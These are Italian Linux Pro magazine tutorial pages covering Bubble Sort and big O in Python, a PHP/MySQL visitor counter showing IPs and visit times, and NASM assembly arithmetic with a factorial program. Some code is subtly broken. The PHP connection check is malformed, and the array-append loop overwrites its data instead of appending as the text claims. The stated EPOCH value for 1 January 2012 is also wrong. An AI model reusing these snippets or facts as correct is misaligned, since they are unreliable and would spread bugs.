Bubble SortOk, quindi ordinare una lista di due elementi non è molto impressionante. Ma possiamo estendere la stessa tecnologia per ordinare una lista con infi niti elementi: questo metodo è conosciuto con il nome di Bubble Sort. L’idea è di scorrere su tutta la lista, confrontando (e scambiando, se necessario) ogni coppia di elementi vicini. L’elemento con il valore maggiore deve fi nire sempre nella parte destra del confronto, in modo che venga sempre confrontato con i prossimi elementi. Alla fi ne dovrà trovarsi all’estrema destra della lista, la posizione che gli appartiene. Da notare che, se dovessimo scorrere la lista soltanto una volta, avremmo soltanto l’elemento più alto in assoluto nella corretta posizione. Il modo per risolvere il problema è di continuare a scorrere la lista: a ogni ciclo incontreremo un nuovo elemento “più grande” che andrà a posizionarsi sul fondo della lista fi nché non incontra l’elemento più grande del ciclo precedente. A questo punto, non si muoverà più dato che si trova nella posizione corretta. Sapremo che la lista è ordinata quando eseguiremo un ciclo completo senza che alcun elemento venga scambiato. Questo codice mostra come il Bubble Sort possa essere implementato in Python: cards = [8,3,7,4,2,1] scambiati = True while scambiati: #ordina fi nché scambiati non diventa False scambiati = False #assumiamo che nulla sia scambiato for i in range(len(cards) - 1): #scorriamo l’intera lista cur = cards[i] j = i + 1 if cards[i] > cards[j]: cards[i] = cards[j] cards[j] = cur scambiati = True #settiamo scambiati a True se qualcosa viene scambiato print cards

La velocità contaÈ abbastanza intelligente, vero? Potete ora utilizzare questo programma per ordinare una lista di qualsiasi dimensione e porterà a termine il suo compito. Ma, se provate a utilizzarlo su una lista molto grande, noterete che impiega molto tempo a risolvere il problema, anche su un computer veloce. Per capire il perché, provate a pensare un po’ a quanto lavoro esegue il nostro algoritmo Bubble Sort. Quando abbiamo soltanto due carte, il Bubble Sort deve fare due confronti: uno per mettere le carte in ordine e il secondo per controllare che non ci sia altro

da ordinare. In totale, deve eseguire due operazioni. Quando aggiungiamo una terza carta, assumendo che siano in ordine inverso in modo che l’algoritmo faccia più lavoro possibile, dovrà fare due confronti a ogni ciclo e tre cicli. In totale, sei operazioni. Cosa succede se aggiungiamo la quarta? Dovrà fare tre confronti a ogni ciclo e quattro cicli. Che sono 12 operazioni! Cinque carte? Quattro confronti e cinque cicli: 20 operazioni! C’è uno schema ben defi nito. Il lavoro svolto dal nostro algoritmo sembra utilizzare questa formula: num.operazioni = num.cicli * num.confronti Possiamo notare che il numero di cicli è sempre uguale al numero degli elementi nella lista, e il numero dei confronti è uguale al numero degli elementi meno uno. Questo signifi ca che, se abbiamo n elementi, l’ammontare del lavoro svolto dall’algoritmo è num.operazioni = n * (n -1) = n(n-1) = n^2 -n

Big OQuesto signifi ca che il numero di lavoro svolto si incrementa in modo quadratico a ogni elemento aggiuntivo. Quindi il carico di lavoro diventa sempre più oneroso a ogni elemento della lista. Ecco perché è lento a ordinare liste grandi: una lista di 10 elementi impiegherà soltanto 90 operazioni, ma una lista di 1.000 elementi ne eseguirà 999.000, e sarà sempre peggio per ogni carta aggiunta. Nel caso generale scritto sopra, il valore di n^2 sarà sempre più grande rispetto al valore di n, e quindi avrà un’infl uenza sempre maggiore sulle performance dell’algoritmo. A causa di ciò, quando si parla delle performance di un algoritmo si considera sempre il valore più grande. La terminologia utilizzata per questo è notazione “big O”, e diremo che il Bubble Sort è un algoritmo O(n^2). Il Bubble Sort è attualmente considerato uno degli algoritmi di ordinamento meno performanti, e possiamo dire senza dubbio che non è quello utilizzato da Python. Questo non signifi ca che vada scartato a priori. È di facile implementazione e funziona bene per liste di piccole dimensioni. Possono esserci delle volte in cui si vuole soltanto che il lavoro venga portato a termine, e il Bubble Sort lo fa egregiamente. Nel prossimo articolo, daremo un’occhiata ad algoritmi di ordinamento molto più veloci, anche se un pochino più diffi cili da implementare, ma ci avvicineremo molto a ciò che fa Python. LXP

L’algoritmo Bubble Sort è un algoritmo con performance O(n^2), questo signifi ca che si incrementa in maniera quadratica a ogni elemento aggiunto

Page 79: LinuxPro-N120_Settembre2012

82 LINUX PRO 120

PHP

Nel tutorial precedente avete visto per la prima volta come usare MySQL e i database. Avete creato un contatore

di visite in tempo reale che vi mostra semplicemente il numero di visitatori in un sito in un dato momento. Ora vedrete come lavorare più strettamente con MySQL e mostrare non solo il numero di visitatori, ma anche il loro indirizzo IP e il tempo di visita.

Installare MySQLOra avete aggiunto MySQL al vostro arsenale. Se avete seguito lo scorso tutorial, potete evitare questa sezione, altrimenti dovrete scaricare e installare MySQL Server per poterlo usare via PHP. Potete scaricare MySQL per Linux da http://dev.mysql.com/downloads/mysql, seguendo i link per la vostra versione di Linux. Se avete dubbi, le linee guida per l’installazione sono su http://dev.mysql.com/doc. Si dà per scontato che abbiate già confi gurato la vostra macchina Linux per servire pagine PHP tramite un browser Web, come spiegato nella prima puntata. Se così non fosse, date un’occhiata al box Installare PHP in Linux. Dovrete anche assicurarvi di aver compilato PHP con la direttiva --with-mysql[=DIR]: controllate la documentazione uffi ciale alla pagina http://php.net/manual/en/mysql.installation.php. Per la gestione dei vostri database non c’è nulla di meglio di phpMyAdmin: vi offre un’interfaccia Web-based al vostro server MySQL e vi permette di gestire completamente tutti gli aspetti del database. Rende anche più facile il debug e il test delle applicazioni. Potete scaricarlo da www.phpmyadmin.net. Proseguendo con lo scorso tutorial, riutilizzerete il codice già scritto, per risparmiare tempo e ottenere già una base da espandere. Utilizzerete la stessa struttura di tabelle del database, così da cominciare immediatamente: all’URL http://bit.ly/Pcvpq8 trovate il fi le di schema originale e il fi le whosonline.php. Se necessario, importate il fi le schema nel vostro server MySQL

locale. Per ricapitolare, MySQL è un sistema di gestione per database relazionali (RDBMS) che gira come server dando accesso ai database (collezioni di dati) attraverso SQL (Structured Query Language). I dati sono contenuti nel database divisi in tabelle. Una tabella è semplicemente una collezione di dati relazionati defi niti e costituiti da colonne e righe. MySQL è disponibile in un ampio ventaglio di sistemi ed è estremamente veloce.

Tornare sul pezzoQuindi il vostro compito ora è quello di mostrare i dati del visitatore assieme al contatore. Cominciate con le modifi che già fatte e controllate cosa c’è bisogno di rivedere. Aprite whosonline.php nel vostro editor di testo preferito e spendete un paio di minuti per riportare alla mente lo script. Controllate le variabili che avete impostato in cima, come i dettagli per la connessione al database e la fi nestra di timeout per i visitatori. Se avete bisogno di modifi care tali dati sentitevi liberi di farlo. Il valore di $dbHost dovrebbe essere il vostro server MySQL: nella maggior parte dei casi sarà 127.0.0.1 oppure localhost. $dbUsername e $dbPassword saranno diversi a seconda del vostro setup, e dovreste sostituirne i valori per rispecchiare quelli di autenticazione per il vostro server (controllate il box Utenti MySQL in breve). $dbDatabase dovrebbe rimanere lo stesso a meno che non abbiate chiamato il database in modo diverso. Dovete continuare a usare la funzione mysqli_connect() così come la mysqli_query(), richieste perché sono le fondamenta necessarie delle query SQL. Passando le credenziali di autenticazione a mysqli_connect() ottenete un “handle” che viene memorizzato in $mysqli: $mysqli = mysqli_connect($dbHost, $dbUsername, $dbPassword, $dbDatabase); if ($mysqli_connect_errno($mysqli) echo “Connessione non riuscita a MySQL: ” . mysqli_connect_error();Sotto la funzione iniziale di connessione rimane la stessa query di inserimento per l’IP del visitatore per tracciare la visita: mysqli_query($mysqli, “REPLACE INTO visitors (ip_address) VALUES (‘” . mysqli_real_escape_ string($mysqli,$_SERVER[‘remote_addr’]) . “‘)”);Allo stesso modo rimane la query per recuperare tutti i dati dei visitatori che vi interessano, con una piccola modifi ca: $visitors = mysqli_query($mysqli, “SELECT ip_address FROM visitors WHERE UNIX_TIMESTAMP(NOW())- UNIX_TIMESTAMP(visited) <= ‘” . mysqli_real_escape_ string($mysqli, $time_limit) . “’”);La query di cui sopra recupera un solo dato dal database: l’indirizzo IP. Dal momento che volete

Creare un database in phpMyAdmin è un gioco da ragazzi. Tutto quello che vi serve è dargli un nome e premere “Crea”!

Il mondo dei databaseIn questa puntata vi mostriamo come aggiungere al contatore di visite del vostro sito non solo i meri numeri, ma anche alcuni importanti dati sui visitatori

Page 80: LinuxPro-N120_Settembre2012

LINUX PRO 120 83

PHP

visualizzare tutti i dati, ora vi serve recuperare, per l’appunto, tutta la riga. MySQL dispone di una comoda scorciatoia per ottenere tutti i dati nel database: senza dover inserire a mano tutti i nomi dei campi, potete specifi care semplicemente *. L’asterisco funziona infatti come una wildcard, e MySQL lo interpreta come “Voglio ogni colonna della tabella”. In pratica state chiedendo tutto quello che può fornirvi il database; se volete limitare i dati, comunque, potete sempre specifi care a mano il nome delle colonne (e.g. ip_address, visited). Modifi cate quindi la query di conseguenza: $visitors = mysqli_query($mysqli, “SELECT * FROM visitors WHERE UNIX_TIMESTAMP(NOW())- UNIX_TIMESTAMP(visited) <= ‘” . mysqli_real_escape_ string($mysqli, $time_limit) . “’”);Le due funzioni UNIX_TIMESTAMP() e NOW() sono peculiari di MySQL. NOW() defi nisce la data e l’orario attuale (nel formato YYYY-MM-DD HH:MM:SS) e UNIX_TIMESTAMP() converte un timestamp a EPOCH; per un ripasso su EPOCH fate riferimento al box sull’argomento. Ora siete al punto dello script in cui volete modifi care il comportamento del tutorial precedente dallo stampare semplicemente un intero (con il numero di visitatori) a una lista di IP con l’orario di visita.

Modifi care l’outputIn precedenza avete usato la funzione mysqli_count_rows() per ottenere il numero delle righe ritornate dalla query SQL. Ora è necessario mantenere la funzione così da non dover scrivere codice PHP aggiuntivo per contare gli elementi dell’array di dati, ma dovrete anche memorizzare localmente questi ultimi per visualizzarli facilmente sulla pagina. Creerete quindi un array ($visitors_data) per archiviare le informazioni. L’array consisterà di due elementi, Totale e Visitatori. Il campo Totale registrerà il conteggio risultante da mysqli_num_rows(), mentre Visitatori conterrà un altro array con i dati dei visitatori. Visualizzando questo array, la struttura sarà simile a: $visitors_data = array( ‘total’ => [integer], ‘visitors’ => [array] ); Come potete vedere, è lineare. Buttatevi quindi sul codice e aggiungete le funzioni per recuperare e memorizzare i dati sui visitatori. Potrebbe risultarvi complicato a prima vista, ma tutto vi verrà spiegato tra poco. Immediatamente sotto la query SQL (dove avete fatto la modifi ca con *) aggiungete il codice seguente:

if(is_numeric(mysqli_num_rows($visitors)) && mysqli_num_ rows($visitors) > 0) { $visitors_data[‘total’] = mysqli_num_rows($visitors); while($online_visitors = mysqli_fetch_array($visitors)) { $visitors_data[‘visitors’] = array( ‘ip_address’ => $online_visitors[‘ip_address’], ‘visited’ => $online_visitors[‘visited’], ); } }La prima riga con la direttiva if() è relativamente semplice. Qui controllate se la query ha ritornato un set di righe con la funzione is_numeric() e argomento mysqli_num_rows(). La prima ritorna semplicemente true o false in base all’argomento. Se il valore all’interno è numerico, la funzione ritorna true e viene eseguito il codice all’interno delle parentesi graffe. La riga iniziale assegna il valore totale del conteggio a $visitors_data[‘total’]. Quella successiva inizia invece un ciclo while(), ed è la parte in qualche modo più complessa: contiene il nucleo della memorizzazione in locale dei dati del database, e sfrutta una funzione PHP molto utile: mysqli_fetch_array(). Quest’ultima funzione prende un dataset ritornato dalla query SQL, riga per riga, e vi permette di recuperare le colonne/dati relative via array: la chiave sarà il nome della rispettiva colonna. Nell’esempio, il database ha due campi, ip_address e visited. PHP creerà un array temporaneo con i nomi di questi campi come chiave, e vi assocerà le righe di dati. A questo punto vi basta prendere l’output della funzione e assegnarlo a $online_visitors, convertendolo implicitamente in un array. Dal momento

Commentate sempre il vostro codice man mano che lo scrivete. Anche se al momento non vi sembra avere molto senso, lo acquisterà quando tornerete su quello stesso codice qualche mese più tardi. I commenti daranno un senso a tutte quelle complicate funzioni che avete scritto.

TipInstallare PHP in LinuxLa maggior parte delle distribuzioni Linux contengono già PHP. Anche se potete lanciare gli script PHP da riga di comando, qui userete un browser Web (e quindi un Web server). Potete seguire questo tutorial caricando i vostri fi le PHP in un Web server in Rete, se ne avete uno, oppure sfruttare un’installazione standard di Apache2 sulla vostra macchina locale; quest’ultima soluzione si può rivelare più pratica e veloce del caricare ogni volta

i fi le via FTP. Se avete bisogno di istruzioni per l’installazione e la confi gurazione, vi raccomandiamo di leggere la sezione Installation on Unix Systems nel manuale uffi ciale di PHP su http://php.net/manual/en/install.unix.php. In alternativa, esistono centinaia di guide per l’installazione scritte per praticamente qualsiasi distribuzione Linux. Google vi aiuterà nella vostra ricerca se il sito di PHP non basta.

Con phpMyAdmin potete controllare velocemente i dati sui vostri visitatori senza dover usare per forza le pagine del sito Web

œ

Page 81: LinuxPro-N120_Settembre2012

84 LINUX PRO 120

PHP

che il metodo di assegnamento a variabile viene valutato come true, in PHP, il codice all’interno delle graffe del while() verrà eseguito. Una volta terminato il codice, la condizione while sarà rivalutata e il processo sarà iterato fi nché la condizione non diventerà false (ovvero non ci saranno più righe). Grazie al cielo PHP

fa tutto il lavoro sporco per voi quando gestite il dataset, spostandovi di riga in riga in modo automatico a ogni iterazione. Il contenuto assegnato a $online_visitors è solamente temporaneo e disponibile per quella singola iterazione del ciclo: è la ragione per cui memorizzate una copia di questi dati all’interno di un altro array, rendendo più semplice l’accesso ai dati in un secondo momento senza la necessità di un’altra connessione a MySQL. L’assegnamento effettivo ad array che vedete tra le graffe del while dovrebbe esservi familiare. Come spiegato prima, state memorizzando i dati dei visitatori come array all’interno dell’array $visitors_data[‘visitors’]. Utilizzate qui il metodo di aggiunta automatica con le doppie quadre: []. Una volta terminato il ciclo while() PHP avrà iterato su tutte le righe ritornate dalla query, e il vostro $visitors_data sarà disponibile e pronto per essere utilizzato nella pagina. In questa serie avete lavorato duro con gli array, ma se ancora non siete sicuri di quello che sta succedendo, fate riferimento ai tutorial precedenti per capire come funziona.

Visualizzare i dati dei visitatoriLa fatica di recuperare e memorizzare i dati dei visitatori sarebbe vana se non li mostraste poi nella vostra pagina. Farlo è molto semplice, vi basta

un echo delle informazioni che volete mostrare! Per visualizzare il numero di visitatori, basterà stampare con echo il valore intero ritornato dalla funzione mysqli_num_rows(). Dal momento che è memorizzato in un punto diverso, ora dovrete chiamare: <?php echo $visitors_data[‘total’]; ?>Potete racchiudere questa istruzione con tag HTML per creare un’enfasi al valore, la scelta è interamente vostra. Ma come fare per mostrare i dati dei visitatori? Ancora una volta PHP accorre in aiuto con la funzione foreach(). Considerandoli semanticamente, i dati dei visitatori sono dati tabellari. Dal momento che è buona norma mantenere il markup corretto per i vari tipi di dati, li mostrerete quindi con una tabella HTML. Nulla di variopinto, ma potete far di meglio voi. In precedenza avete usato la funzione foreach() per scorrere un set di dati (le gare della stagione 2012 di F1), quindi non

Utenti MySQL in breveGli utenti in MySQL funzionano similarmente alla vostra piattaforma Linux. Quando installate MySQL per la prima volta, vi viene chiesta una password per l’utente root. Una volta completata l’installazione, potete quindi connettervi come root. Per lo sviluppo locale molti utenti lanciano le applicazioni come root, ma non serve dire che non dovreste mai usare questo utente per connettervi sul Web. È buona norma creare sempre un utente locale con lo stesso nome del database. In questo modo ogni database ha il suo utente ed è limitato a questo, riducendo i danni in caso di compromissione dell’account. Impostare correttamente un utente può proteggervi anche da alti livelli di SQL injection. I permessi che date all’utente dovrebbero essere quelli minimi per completare i propri compiti. Potete creare facilmente gli utenti in phpMyAdmin nella scheda Privilegi. Potete assegnare permessi globali o restringerli a determinati database. Pensate bene alle necessità e partite da questo.

La documentazione uffi ciale PHP ha in

dettaglio ogni singola funzione MySQLi: una risorsa fondamentale!

Usate un editor di testo che disponga dell’evidenziazione della sintassi per PHP: vi aiuterà a identifi care velocemente nel vostro codice blocchi specifi ci o funzioni. Esistono molti programmi liberi, quindi date un’occhiata in giro e scegliete ciò che più vi aggrada.

Tip

Page 82: LinuxPro-N120_Settembre2012

LINUX PRO 120 85

PHP

dovrebbe esservi troppo alieno: <table border=“1” cellpadding=“5” cellspacing=“0”> <tr> <th>IP Address</th> <th>Visited</th> </tr> <?php foreach($visitors_data[‘visitors’] as $visitor): ?> <tr> <td><?php echo $visitor[‘ip_address’]; ?></td> <td><?php echo $visitor[‘visited’]; ?></td> </tr> <?php endforeach; ?> </table>Noterete qui che il codice PHP è integrato in alcuni tag HTML che defi niscono la tabella. Si spera che abbiate già un’infarinatura di HTML, non dovrebbe esservi troppo sconosciuto. L’HTML è al di là dell’argomento di questo tutorial, ma se volete approfondire esistono molti siti fantastici in Rete sull’argomento. La parte fondamentale in questo codice è il ciclo foreach(). Iterando su ogni elemento dell’array $visitors_data[‘visitors’] (che ora sapete contenere tutto il registro dei visitatori) assegnate ogni riga alla variabile $visitor. Questo array conterrà due campi, ip_address e visited, replicando la struttura della tabella MySQL. Mano a mano che iterate, il codice all’interno delle graffe viene eseguito, creando una nuova riga della tabella. La prima colonna della tabella mostra un indirizzo IP seguito da un’altra cella con l’orario di visita. È importante notare che il timestamp che vedete a video è il formato predefi nito di MySQL. Se volete qualcosa di più carino, potete formattarlo con la funzione PHP date().Quest’ultima funzione ha un ampio ventaglio di opzioni a disposizione, che potete leggere sul manuale all’indirizzo http://php.net/manual/en/function.date.php. Il metodo di formattazione visto qui assume che stiate mostrando i dati nello stesso fi le PHP o pagina che contiene anche le funzioni di recupero da MySQL. In caso contrario, potete semplicemente includere (con include(), appunto) il fi le whosonline.php in qualsiasi pagina vogliate mostrare la tabella; fate attenzione all’estensione del fi le, che dev’essere .php perché le cose funzionino correttamente. A questo punto potete semplicemente inserire la tabella HTML dove volete. Quando eseguite il codice e visualizzate l’output della pagina, noterete che il design è piuttosto scarno e piatto. Perché non scrivere un po’ di sano CSS e disegnare la tabella in modo più piacevole? Siete liberi di sperimentare e dare sfogo alla vostra vena artistica!

E ora?Ora che avete imparato le basi per il recupero dei dati da una query MySQL e l’iterazione sul risultato, perché non applicarle ad altri tipi di dati? Potete recuperare le prime puntate del tutorial, e magari memorizzare il calendario della stagione 2012 di F1 su database. Utilizzando la funzione DATE() (in MySQL, non PHP) in una condizione WHERE potete fi ltrare solo le gare rimaste nella stagione. Potete anche spingervi un po’ oltre e introdurre i team e i dati sui piloti, creando altre tabelle nel database e scrivendo query per recuperare informazioni specifi che. Seguendo la guida del tutorial precedente

sulla creazione di tabelle in MySQL dovrebbe essere un compito semplice. Potete sfruttare anche phpMyAdmin per inserire manualmente i dati con la scheda Insert disponibile in ogni visualizzazione tabella. L’aspetto più importante dell’apprendimento non solo di PHP, ma di qualsiasi linguaggio, è la creatività e il mettersi alla prova sempre su nuove sfi de. Spingete oltre le vostre capacità su PHP, e imparate a essere curiosi e creativi. Affi datevi alle risorse online, dai siti di tutorial ai forum. Esistono letteralmente migliaia, se non milioni, di persone là fuori che aspettano solo di potervi dare una mano. LXP

Nella prossima puntataPer la penultima puntata di questa serie, vedrete come visualizzare i contenuti del popolare social network Twitter sul vostro sito personale. Imparerete come lavorare con l’XML dell’API di Twitter attraverso la libreria SimpleXML per PHP, e implementerete un basilare sistema di caching basato su fi le per migliorare la velocità e le performance delle pagine.

MySQL.com è un’ottima risorsa per le ultime news nel mondo di MySQL, e ci trovate anche la documentazione uffi ciale

A cosa serve EPOCH?EPOCH, o anche POSIX Time, è semplicemente il numero di secondi trascorsi dalla mezzanotte (UTC) del 1 gennaio 1970. Ad esempio, il valore EPOCH per la mezzanotte del 1 gennaio 2012 è 1325419200: un miliardo, 325 milioni, 419 mila e 200 secondi dalla mezzanotte del 1970. Potreste pensare quale sia l’importanza, o la rilevanza, di questo dato nel lavoro in PHP. Beh, vi permette di lavorare facilmente (e matematicamente) su vari calcoli di date. Potete facilmente determinare il numero di secondi da un utente o azione a un’altro. Potete anche pensare di usarlo in alcune forme di ‘lock’ sensibili al tempo. EPOCH torna sempre utile, specialmente quando non pensate possa servire!

Page 83: LinuxPro-N120_Settembre2012

86 LINUX PRO 120

Assembly

PRO

dentro ildentro il

Codice d’esempio

Generalmente i non addetti ai lavori considerano la programmazione Assembly un’attività dispendiosa, che costringe a

scrivere le cose da zero e a impiegare 50 volte più tempo rispetto alle stesse operazioni nei linguaggi ad alto livello. Non si tratta di un’affermazione veritiera, come avete visto scrivendo una routine per la stampa delle stringhe nella puntata precedente. Certamente è un linguaggio complesso, tuttavia una volta scritta una funzione è possibile riutilizzarla quando necessario. Non sarebbe una grande cosa poter usare molte routine per velocizzare lo sviluppo? Nel DVD, troverete library.asm, una collezione di routine in linguaggio Assembly (per NASM) che potete includere nel vostro programma e utilizzarla a piacimento. Includerla nel codice sorgente del vostro programma è semplice: copiate library.asm nella directory del codice e aggiungete la riga seguente in coda al fi le: %include “library.asm”

Effettuare la chiamataQueste routine gestiscono input e output di stringhe e numeri, la pulizia dello schermo e l’uscita dal programma: tutto quello che dovrete fare è inserire nei registri i valori necessari e chiamarle...Δ lib_print_string stampa sullo schermo una stringa terminata da zero, puntata dal registro ESI. Esempio: section .text mov esi, mystring call lib_print_string …

section .data mystring db “Ciao mondo asm”, 0Δ lib_input_string attende l’input dell’utente e la pressione del tasto Invio per memorizzare una stringa terminata da zero nel buffer puntato dal registro EDI (massimo 256 caratteri). Esempio: section .text mov edi, mybuf call lib_input_string …

section .bss mybuf resb 256Fate attenzione alla sezione .bss. Viene utilizzata per memorizzare informazioni modifi cabili in futuro, diversamente da .data, che memorizza stringhe non modifi cabili. In .bss viene utilizzato resb 256 per riservare 256 byte di memoria per l’etichetta mybuf, nei quali memorizzare i dati.Δ lib_print_number stampa il numero passato nel registro EAX, fi no a un massimo di 4.294.967.295. Esempio: mov eax, 357547 call lib_print_numberSi noti come sia necessaria la presenza di una libreria diversa da quella usata per le stringhe. Se chiamaste lib_print_string, questa utilizzerebbe il numero 357.547 come una locazione di memoria e il risultato sarebbe completamente bizzarro.

Trucchi del mestiereIl comportamento interno delle routine varia molto da una all’altra. Guardando il codice di lib_print_number in library.asm, vedrete come vengano sfruttati diversi trucchetti per generare un numero intelleggibile in base 10 partendo dal contenuto di EAX. Per farlo si sfrutta la matematica, come vedrete in seguito. Δ lib_input_number attende l’input dell’utente per un numero decimale e la pressione del tasto Invio, per memorizzare il risultato nel registro EAX. Esempio: call lib_input_number; ora EAX contiene il numero call lib_print_numberΔ lib_clear_screen pulisce la fi nestra del terminale utilizzando i codici VT100, e spostando il cursore nell’angolo in alto a sinistra.Δ lib_exit termina il programma con il codice di ritorno (opzionale) fornito nel registro EBX.Queste routine vi consentono di alimentare l’input dei vostri programmi. Con l’eccezione di lib_exit, tutte le routine utilizzano pusha e popa per preservare i registri non menzionati, per assicurarsi che la loro chiamata non abbia conseguenze sui programmi. Pensatele come a piccole scatole nere affi dabili. Naturalmente potreste leggervi il codice di library.asm e vedere quanto ne capite – dopo quanto imparato nelle scorse due settimane potreste sorprendervi.

Assembly: conosci il tuo codice!Nel viaggio alla scoperta della programmazione a basso livello, Linux Pro vi svela come utilizzare librerie condivise ed effettuare operazioni matematiche e di input/output

library.asm utilizza varie chiamate al kernel per ottenere e visualizzare l’input – utilizzatela per aggiungere funzionalità ai vostri programmi

Page 84: LinuxPro-N120_Settembre2012

LINUX PRO 120 87

Assembly

NASM offre alcune opzioni di avviso per allertare l’utente nel caso di etichette mal defi nite e operazioni in memoria dove non sono stati defi nite dimensioni (byte o word). Potete abilitarle con le opzioni -w+all. Naturalmente, data la natura del codice Assembly, NASM non può intercettare errori negli algoritmi o buffer overfl ow; questi assume che sappiate esattamente cosa state facendo con ogni istruzione e byte di memoria!

Tip

Debuggare l’Assembly

Se avete speso qualche ora lottando con GDB per risolvere qualche problema, la parola “debugging” probabilmente vi spaventerà. Potete generare le informazioni di debug nell’eseguibile passando l’opzione -g a NASM (si veda la pagina di manuale per ulteriori informazioni), tuttavia, essendo programmatori hardcore, vorrete fare le cose a mano. Quando qualcosa non funziona nel programma, spesso è colpa del contenuto dei registri o dello stato dello stack. Per il primo, potete utilizzare la routine lib_print_number da library.asm che stampa EAX, ma potete spostare un’altro registro in EAX se necessario. Se il programma fi nisce sputando un grande ammontare di informazioni potreste volerne vedere il progresso passo passo inserendo una chiamata a lib_input_number, in modo da bloccare l’esecuzione fi no alla pressione del tasto Invio. Ecco un esempio: un ciclo effettua simpatiche operazioni e volete controllare il valore del registro EBX in ogni esecuzione

del ciclo. Inserite quanto segue: pusha mov eax, ebx call lib_print_number call lib_input_number popapusha e popa preservano i registri e la chiamata a lib_input_number rallenta un po’ le cose. Se volete vedere l’ultimo numero sullo stack, provate: pop eax call lib_print_number push eaxIl push è fondamentale dato che quando viene eseguito il pop dallo stack, viene spostato lo stack pointer ESP. Perciò per tornare allo stato precedente è necessario pushare nuovamente il numero in modo da far tornare in posizione ESP.

Operazioni matematiche

Tornate ora alle istruzioni CPU. Avete visto come inserire numeri nei registri, come spostarli e come saltare in diversi punti del codice dopo comparazioni. L’architettura x86 include, inoltre, molte istruzioni per la matematica – addizione, sottrazione, moltiplicazione e divisione. Sono molto semplici da utilizzare e funzionano con i registri general-purpose. Per esempio, due istruzioni valide per l’addizione sono: add eax, ebx add ecx, 50Nella prima riga, il contenuto di EBX viene aggiunto al contenuto di EAX, memorizzando il risultato nel registro EAX. Nella seconda riga, viene aggiunto 50 al contenuto del registro ECX. Lo stesso vale per la sottrazione:

sub eax, ebx sub ecx, 50È possibile incrementare e decrementare i registri di un’unità utilizzando le istruzioni inc e dec, come visto nello scorso numero. La moltiplicazione funziona in modo leggermente diverso, dato che è necessario utilizzare EAX come registro di memorizzazione ed è possibile moltiplicarlo solo per un registro o una locazione di memoria e non per un valore numerico. Cominciano ad apparire le prime stranezze dell’architettura x86. Ecco un’operazione di moltiplicazione valida: mov eax, 10 mov ebx, 5 mul ebxDopo l’esecuzione EAX contiene 50. Potete eseguire anche operazioni come questa: mov eax, 10 mul byte [mynum] …

section .data mynum db 5EAX viene moltiplicato per il valore byte memorizzato nella sezione .data puntato dall’etichetta mynum. La divisione funziona in modo analogo: mov eax, 50 mov ebx, 10 div ebxDopo l’esecuzione, EAX conterrà 5. Analogamente a mul è possibile utilizzare le locazioni di memoria. Che fare con le divisioni con resto? Ad esempio con: mov eax, 50 mov ebx, 30 div ebx

EAX contiene 1, dato che 30 sta in 50 una sola volta. Il resto viene memorizzato nel registro EDX; fatto fondamentale da sapere anche se non utilizzerete il resto il registro. EDX dovrà infatti essere oggetto di push

e di pop prima e dopo la chiamata. Oltre alle operazioni aritmetiche, in x86 sono presenti istruzioni come and, or, xor e not per le operazioni bit a bit. Queste tuttavia esulano dallo scopo del tutorial e non vi serviranno nei programmi che realizzerete.

“Incrementate e decrementate velocemente i registri con le istruzioni inc e dec”

œSe volete informazioni su NASM il sito in cui guardare è www.nasm.us

Page 85: LinuxPro-N120_Settembre2012

88 LINUX PRO 120

Assembly

Ecco qua, un calcolatore di fattoriale in 752 byte (e la maggior parte è occupata dalla libreria di IO)

Nei prossimi paragrafi vedrete come assemblare gli elementi utilizzati fi nora. Scriverete un programma per calcolare il fattoriale di un numero – il prodotto di tutti i valori fi no al numero. Il fattoriale di 5, per esempio, è 1 x 2 x 3 x 4 x 5, che equivale a 120. Non si tratta di un’operazione complessa da scrivere in Assembly, tuttavia ogni qualvolta che si approccia un nuovo problema è bene abbozzare pseudocodice per capire come operare. Ad esempio: prendi il numero in A metti 1 in B

fi nché A è maggiore di 0: moltiplica A per B e memorizzalo in B sottrai 1 da ACon questo approccio, se l’utente inserisce 5 come valore di A, la prima operazione sarà 5 x 1, con il risultato che viene memorizzato in B. Successivamente viene sottratto 1 ad A e moltiplicato per B per cui l’operazione sarà 4 x 5. Questo produce 20, che viene

moltiplicato per 3, dando 60. Poi 2 x 60 da 120 e l’operazione fi nale sarà 1 x 120 – che è il risultato voluto. Facile no? Se non avete mai sviluppato una funzione fattoriale prima d’ora, studiate attentamente lo pseudocodice. Ci sono molti modi per farlo ma questo è più semplice.

Assemblaggio in corsoEcco il codice del programma, che trovate nel DVD come maths.asm. Assemblatelo e linkatelo con il comando nasm -f elf maths.asm && ld -s -o maths maths.oNotate come library.asm sia stata inserita nella stessa directory, fornendo input e output al programma come descritto in precedenza. section .data prompt_string db ‘Inserisci un numero: ‘, 0 result_string db ‘Fattoriale = ‘, 0

section .text global _start

_start: mov esi, prompt_string call lib_print_string call lib_input_number mov ebx, eax mov eax, 1

.loop: mul ebx dec ebx cmp ebx, 0 jne .loop

mov esi, result_string call lib_print_string call lib_print_number

Assembly oggigiornoÈ facile pensare che il linguaggio Assembly sia poco pratico al giorno d’oggi, dato che ogni cosa viene scritta in linguaggi ad alto livello. Non è proprio così. Solo un pazzo riscriverebbe LibreOffi ce in Assembly, tuttavia sono ancora molti gli scenari dove eliminare il compilatore e lavorare a livello di istruzioni CPU è una buona cosa. Prendete i device driver ad esempio. Molti linguaggi ad alto livello offrono poche chance di interagire direttamente con porte hardware, interrupt e altre risorse a basso livello. Il C consente di lavorare con Assembly inline ma i risultati sono spesso pessimi, come noterete dando un’occhiata al codice dei driver nel kernel Linux. Segue poi l’ottimizzazione. I compilatori moderni sfruttano abili

trucchi, tuttavia, scrivendo programmi dove una singola funzione viene chiamata milioni di volte al secondo, come un gioco o un’applicazione matematica, a volte è utile gestire manualmente queste routine. O almeno prendere quanto prodotto dal compilatore e rimuovere le parti non necessarie. Infi ne, i programmatori di sistemi embedded tendono a basarsi esclusivamente su codice Assembly. Prendete per esempio la famiglia di microcontrollori PIC: ne sono stati prodotti 10 miliardi e sono presenti in praticamente ogni cosa che bippa o si accende. Si tratta di architetture semplici rispetto a x86 e, nonostante esistano linguaggi ad alto livello per i PIC, la maggior parte degli sviluppatori lavorano direttamente con il linguaggio Assembly.

Sono stati fabbricati più chip PIC del numero di persone sulla Terra, e l’Assembly è il linguaggio ideale per programmare questi piccoli gioielli

Dalla teoria alla pratica

Page 86: LinuxPro-N120_Settembre2012

LINUX PRO 120 89

Assembly

Nella prossima puntataLa sfi da fi nale: scrivere il proprio sistema operativo!

I trucchi di NASM

